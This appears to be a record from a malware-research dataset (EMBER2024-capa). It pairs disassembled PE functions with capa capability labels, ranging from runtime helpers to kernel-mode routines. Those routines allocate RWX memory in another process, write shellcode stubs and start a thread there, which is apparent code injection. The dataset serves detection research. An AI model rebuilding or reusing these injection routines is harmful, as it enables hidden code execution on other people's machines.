joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4d0560
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d1640
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d0f62
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f3108]
test eax, eax
je 0x2fc4d0ffa
lea rax, [0x2fc4f30e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f3110]
mov qword [rbp - 8], rax
jmp 0x2fc4d0fde
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d0fd2
cmp qword [rbp - 0x10], 0
je 0x2fc4d0fd2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d0f98
lea rax, [0x2fc4f30e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d0ffb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1100
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1128
mov eax, 0
jmp 0x2fc4d1176
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d1151
mov eax, 0
jmp 0x2fc4d1176
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d1171
mov eax, 0
jmp 0x2fc4d1176
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d117c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d11fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d11f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d11f1
mov rax, qword [rbp - 8]
jmp 0x2fc4d120f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d11c4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc531240
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc532320
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc531c42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc554108]
test eax, eax
je 0x2fc531cda
lea rax, [0x2fc5540e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc554110]
mov qword [rbp - 8], rax
jmp 0x2fc531cbe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc531cb2
cmp qword [rbp - 0x10], 0
je 0x2fc531cb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc531c78
lea rax, [0x2fc5540e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc531cdb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc531de0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc531e08
mov eax, 0
jmp 0x2fc531e56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc531e31
mov eax, 0
jmp 0x2fc531e56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc531e51
mov eax, 0
jmp 0x2fc531e56
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc531e5c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc531eda
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc531ed1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc531ed1
mov rax, qword [rbp - 8]
jmp 0x2fc531eef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc531ea4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400013b4
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
and dword [rax - 0x28], 0
mov r14d, r9d
mov ebx, r8d
mov r15, rdx
mov rbp, rcx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rdi, rax
test rax, rax
jne 0x1400013f3
mov ebx, dword [rsp + 0x70]
jmp 0x14000147a
movzx eax, word [rax + 0x18]
mov ecx, 0x10b
cmp ax, cx
je 0x140001411
mov ecx, 0x20b
cmp ax, cx
jne 0x1400013ea
mov rsi, qword [rdi + 0x30]
jmp 0x140001414
mov esi, dword [rdi + 0x34]
mov r8d, 5
lea r9, [rsp + 0x20]
mov dl, 1
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
test rax, rax
je 0x140001472
mov ecx, dword [rsp + 0x20]
test ecx, ecx
je 0x140001472
mov rdi, rbp
sub rdi, rsi
add rdi, r15
mov edx, dword [rax + 4]
test edx, edx
je 0x1400013ea
sub ecx, edx
lea r8, [rax + 8]
mov dword [rsp + 0x20], ecx
add edx, 0xfffffff8
mov ecx, dword [rax]
mov r9, rdi
add rcx, rbp
shr edx, 1
call fcn.140001290
test rax, rax
je 0x1400013ea
mov ecx, dword [rsp + 0x20]
test ecx, ecx
jne 0x140001440
jmp 0x14000147a
test byte [rdi + 0x16], 1
cmovne ebx, r14d
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x140001634
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x50
and dword [rax + 0x18], 0
mov r14, rcx
mov rcx, rdx
mov rbp, rdx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rdi, rax
test rax, rax
je 0x1400017ca
mov r8d, 9
lea r9, [rsp + 0x90]
mov dl, 1
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov rbx, rax
test rax, rax
je 0x1400017ca
cmp byte [r14 + 0x58], 0
mov r12d, 0x20b
jne 0x14000175b
cmp word [rdi + 0x18], r12w
jne 0x1400016a7
mov rax, qword [rax]
jmp 0x1400016a9
mov eax, dword [rax]
test rax, rax
je 0x14000175b
and qword [rsp + 0x98], 0
lea r9, [rsp + 0x40]
mov eax, 0x1000
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x20], eax
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x14000175b
mov rcx, qword [r14 + 0x18]
call qword [sym.imp.ntoskrnl.exe_PsGetThreadTeb]
mov rcx, qword [r14]
mov rsi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
test rax, rax
je 0x140001731
mov ecx, dword [rsp + 0x98]
mov dword [rsi + 0x202c], ecx
cmp word [rdi + 0x18], r12w
jne 0x140001723
mov rcx, qword [rbx]
jmp 0x140001725
mov ecx, dword [rbx]
mov rax, qword [rsp + 0x98]
mov dword [rax], ecx
jmp 0x140001756
mov rax, qword [rsp + 0x98]
mov qword [rsi + 0x58], rax
cmp word [rdi + 0x18], r12w
jne 0x140001749
mov rcx, qword [rbx]
jmp 0x14000174b
mov ecx, dword [rbx]
mov rax, qword [rsp + 0x98]
mov qword [rax], rcx
mov byte [r14 + 0x58], 1
movzx ecx, word [rdi + 0x18]
cmp cx, r12w
jne 0x14000176b
mov rbx, qword [rbx + 0x18]
jmp 0x14000176e
mov ebx, dword [rbx + 0xc]
cmp cx, r12w
jne 0x140001779
mov rax, qword [rbx]
jmp 0x14000177b
mov eax, dword [rbx]
test rax, rax
je 0x1400017ca
cmp cx, r12w
jne 0x14000178b
mov r8, qword [rbx]
jmp 0x14000178e
mov r8d, dword [rbx]
and qword [rsp + 0x30], 0
mov r9d, 3
mov qword [rsp + 0x28], 1
mov rdx, r14
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call fcn.1400073c8
movzx ecx, word [rdi + 0x18]
mov eax, 4
cmp cx, r12w
lea edx, [rax + 4]
cmove eax, edx
add rbx, rax
jmp 0x14000176e
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400017e0
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
lea rdx, [rcx + 0x18]
mov rcx, qword [rcx]
jmp fcn.140006cb0

Function at 0x140001bec
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov ecx, dword [rcx + 0x10]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
js 0x140001c22
mov rdx, qword [rdi]
mov rcx, qword [rsp + 0x30]
call fcn.14000a1ac
mov ebx, eax
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001c32
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140006088
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
xor r14d, r14d
mov dword [rsp + 0x28], 0x40
mov eax, 0x1000
mov qword [rbp + 0x30], r14
mov rdi, rdx
mov qword [rbp + 0x38], rax
mov rsi, rcx
mov qword [rbp - 0x44], r14
lea rdx, [rbp + 0x30]
mov qword [rbp - 0x30], r14
or rcx, 0xffffffffffffffff
mov qword [rbp - 0x24], r14
lea r9, [rbp + 0x38]
mov qword [rbp - 0x14], r14
xor r8d, r8d
mov dword [rsp + 0x20], eax
mov dword [rbp - 0x50], 0x28ec8348
mov dword [rbp - 0x4c], 0x48c93148
mov dword [rbp - 0x48], 0xb849d231
mov qword [rbp - 0x3c], 0xb949
mov dword [rbp - 0x34], 0xb8480000
mov dword [rbp - 0x28], 0xba48d0ff
mov dword [rbp - 0x1c], 0x1e7e02c7
mov dword [rbp - 0x18], 0xba48c037
mov dword [rbp - 0xc], 0x83480289
mov word [rbp - 8], 0x28c4
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x1400061db
mov rbx, qword [rbp + 0x30]
mov rdx, rdi
add rbx, 0x200
mov rcx, rbx
mov dword [rbx], 0x3d00000
mov rax, qword [rbp + 0x30]
add rax, 0x210
mov qword [rbx + 8], rax
call fcn.1400011a0
mov rcx, qword [rbp + 0x30]
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movzx eax, word [rbp - 8]
movups xmmword [rcx], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rcx + 0x10], xmm1
movaps xmm1, xmmword [rbp - 0x20]
movups xmmword [rcx + 0x20], xmm0
movsd xmm0, qword [rbp - 0x10]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov word [rcx + 0x48], ax
mov byte [rcx + 0x4a], 0xc3
mov rax, qword [rbp + 0x30]
mov qword [rax + 0xc], rbx
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5e0]
mov qword [rcx + 0x16], rax
mov rax, qword [rbp + 0x30]
mov qword [rax + 0x20], rsi
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5e8]
mov qword [rcx + 0x2c], rax
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5ec]
mov qword [rcx + 0x3c], rax
mov rax, qword [rbp + 0x30]
jmp 0x1400061dd
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400061f8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov eax, 0x1000
mov dword [rsp + 0x28], 0x40
mov rsi, rdx
mov qword [rbp + 0x38], rax
mov rdi, rcx
mov dword [rsp + 0x20], eax
xor ebx, ebx
mov dword [rbp - 0x30], 0x68
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x30], rbx
or rcx, 0xffffffffffffffff
mov dword [rbp - 0x1c], ebx
lea r9, [rbp + 0x38]
mov dword [rbp - 0x2c], 0x6800
xor r8d, r8d
mov dword [rbp - 0x28], 0x6a0000
mov dword [rbp - 0x24], 0xe8006a
mov dword [rbp - 0x20], 0xba000000
mov dword [rbp - 0x18], 0x1e7e02c7
mov dword [rbp - 0x14], 0xbac037
mov dword [rbp - 0x10], 0x89000000
mov dword [rbp - 0xc], 0x4c202
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140006317
movzx eax, word [rsi]
mov rbx, qword [rbp + 0x30]
add rbx, 0x200
mov word [rbx], ax
movzx eax, word [rsi + 2]
mov word [rbx + 2], ax
mov eax, dword [rbp + 0x30]
add eax, 0x210
mov dword [rbx + 4], eax
movzx r8d, word [rsi]
mov rdx, qword [rsi + 8]
mov ecx, eax
call fcn.1400022c0
mov rax, qword [rbp + 0x30]
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp - 0x10]
movups xmmword [rax + 0x10], xmm1
movsd qword [rax + 0x20], xmm0
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5e0]
mov dword [rcx + 1], eax
mov rax, qword [rbp + 0x30]
mov dword [rax + 6], ebx
mov rax, qword [rbp + 0x30]
sub edi, eax
sub edi, 0x13
mov dword [rax + 0xf], edi
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5e8]
mov dword [rcx + 0x14], eax
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5ec]
mov dword [rcx + 0x1f], eax
mov rax, qword [rbp + 0x30]
jmp 0x140006319
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400071b8
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
lea r14, [rcx + 0x20]
mov r13b, dl
mov rbx, qword [r14]
mov r15, rcx
cmp rbx, r14
je 0x1400073ad
cmp byte [rbx + 0x51], 0
jne 0x14000739e
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rsi, rax
test r13b, r13b
jne 0x14000720d
mov rdx, qword [rbx + 0x10]
mov rcx, r15
call fcn.140001634
mov eax, dword [rsi + 0x28]
test eax, eax
je 0x14000725a
mov rcx, qword [rbx + 0x10]
mov r9d, 3
and qword [rsp + 0x30], 0
mov rdx, r15
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], rcx
lea r8, [rcx + rax]
xor ecx, ecx
call fcn.1400073c8
test eax, eax
je 0x14000725a
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rcx, rax
call fcn.140001c40
test al, al
jne 0x1400073a6
movzx eax, word [rsi + 6]
mov edx, 0x10b
cmp word [rsi + 0x18], dx
lea ecx, [rdx - 3]
lea r12d, [rdx - 0x13]
cmovne r12d, ecx
lea rcx, [rax + rax*4]
add r12, rsi
mov rdi, r12
lea rax, [r12 + rcx*8]
cmp r12, rax
jae 0x14000732f
test dword [rdi + 0x24], 0x2000000
je 0x140007316
mov eax, dword [rdi + 0xc]
add rax, qword [rbx + 0x10]
mov qword [rbp + 0x50], rax
mov eax, dword [rdi + 8]
mov qword [rbp + 0x40], rax
mov eax, dword [rbx + 0x4c]
test al, 0x10
jne 0x140007316
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov r9d, 4
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
test eax, eax
js 0x1400072e0
mov r8, qword [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbp + 0x50]
call fcn.1400021c0
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov r9d, 1
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
mov r9d, 0x4000
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
movzx eax, word [rsi + 6]
add rdi, 0x28
lea rcx, [rax + rax*4]
lea rax, [r12 + rcx*8]
cmp rdi, rax
jb 0x140007289
mov ecx, dword [rbx + 0x4c]
test cl, 4
je 0x14000739a
mov eax, dword [rsi + 0x54]
mov qword [rbp + 0x40], rax
test cl, 0x10
jne 0x14000739a
mov rax, qword [rbx + 0x10]
lea r8, [rbp + 0x40]
and qword [rsp + 0x20], 0
lea rdx, [rbp + 0x50]
mov r9d, 4
mov qword [rbp + 0x50], rax
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
test eax, eax
js 0x14000739a
mov r8, qword [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbx + 0x10]
call fcn.1400021c0
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov r9d, 2
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
mov byte [rbx + 0x51], 1
mov rbx, qword [rbx]
jmp 0x1400071dc
mov eax, 0xc000010a
jmp 0x1400073af
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140007564
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rsi, rcx
xor ebx, ebx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rbp, rax
test rax, rax
je 0x1400075f8
lea r8d, [rbx + 0xa]
mov dword [rsp + 0x48], ebx
lea r9, [rsp + 0x48]
mov dl, 1
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov rdi, rax
test rax, rax
je 0x1400075fd
mov r14d, 0x20b
cmp word [rbp + 0x18], r14w
jne 0x1400075bc
mov rax, qword [rax + 0x58]
jmp 0x1400075bf
mov eax, dword [rax + 0x3c]
test rax, rax
je 0x1400075fd
mov rax, rsi
lea rcx, [rsp + 0x50]
shr rax, 0x20
xor eax, esi
mov dword [rsp + 0x50], eax
call qword [sym.imp.ntoskrnl.exe_RtlRandomEx]
mov ecx, eax
xor rcx, rsi
cmp word [rbp + 0x18], r14w
jne 0x1400075f1
mov rax, qword [rdi + 0x58]
mov qword [rax], rcx
jmp 0x1400075fd
mov eax, dword [rdi + 0x3c]
mov dword [rax], ecx
jmp 0x1400075fd
mov ebx, 0xc000007b
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140007614
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
xor r12d, r12d
mov qword [rbp + 0x67], 0x1000
mov rsi, rcx
test rcx, rcx
jne 0x14000764f
mov eax, 0xc000000d
jmp 0x140007815
lea r14, [rcx + 8]
mov dword [rsp + 0x28], 0x40
mov rdx, r14
mov qword [r14], r12
lea r9, [rbp + 0x67]
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
test eax, eax
js 0x140007813
mov rcx, qword [rsi]
mov rdi, qword [r14]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
xorps xmm0, xmm0
lea r8, [0x14000a270]
test rax, rax
mov ecx, 0x7fff
movups xmmword [rbp - 9], xmm0
setne r15b
mov rax, r8
mov edx, 2
cmp word [rax], r12w
je 0x1400076c3
add rax, rdx
sub rcx, 1
jne 0x1400076b2
jmp 0x1400076dd
add cx, cx
mov qword [rbp - 1], r8
mov eax, 0xfffe
sub ax, cx
mov word [rbp - 9], ax
add ax, dx
mov word [rbp - 7], ax
mov rbx, qword [rsi]
lea rdx, [rbp - 9]
mov rcx, rbx
mov r8b, r15b
call fcn.140006b80
mov rcx, rax
lea rdx, [0x14000a3b0]
xor r9d, r9d
mov r8, rbx
call fcn.140006844
test rax, rax
je 0x14000780e
mov dword [rbp + 0xb], r12d
lea rcx, [rdi + 0x100]
mov qword [rcx], 0xffffffffffff3cb0
mov dword [rbp + 0x23], r12d
test r15b, r15b
je 0x140007747
mov dword [rdi + 1], ecx
mov ecx, 0x16a
mov byte [rdi], 0x68
mov word [rdi + 5], cx
mov byte [rdi + 7], 0xb8
mov dword [rdi + 8], eax
mov dword [rdi + 0xc], 0xf0ebd0ff
jmp 0x140007778
mov qword [rdi + 2], 1
mov edx, 0xb948
mov word [rdi], dx
mov edx, 0xba48
mov qword [rdi + 0xc], rcx
mov ecx, 0xb848
mov word [rdi + 0xa], dx
mov word [rdi + 0x14], cx
mov qword [rdi + 0x16], rax
mov dword [rdi + 0x1e], 0xdeebd0ff
mov rax, qword [r14]
lea r8, [rbp + 7]
mov qword [rsp + 0x50], r12
lea rcx, [rsi + 0x10]
mov qword [rsp + 0x48], 0x100000
xorps xmm0, xmm0
mov qword [rsp + 0x40], 0x1000
mov r14d, 0x1fffff
mov qword [rsp + 0x38], r12
or r9, 0xffffffffffffffff
mov dword [rsp + 0x30], r12d
mov edx, r14d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
mov dword [rbp + 7], 0x30
mov qword [rbp + 0xf], r12
mov dword [rbp + 0x1f], 0x200
mov qword [rbp + 0x17], r12
movdqu xmmword [rbp + 0x27], xmm0
call fcn.140001a9c
mov ebx, eax
test eax, eax
js 0x140007813
mov r8, qword [sym.imp.ntoskrnl.exe_PsThreadType]
lea rax, [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov edx, r14d
mov qword [rsp + 0x20], rax
mov r8, qword [r8]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
jmp 0x140007813
mov ebx, 0xc0000225
mov eax, ebx
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret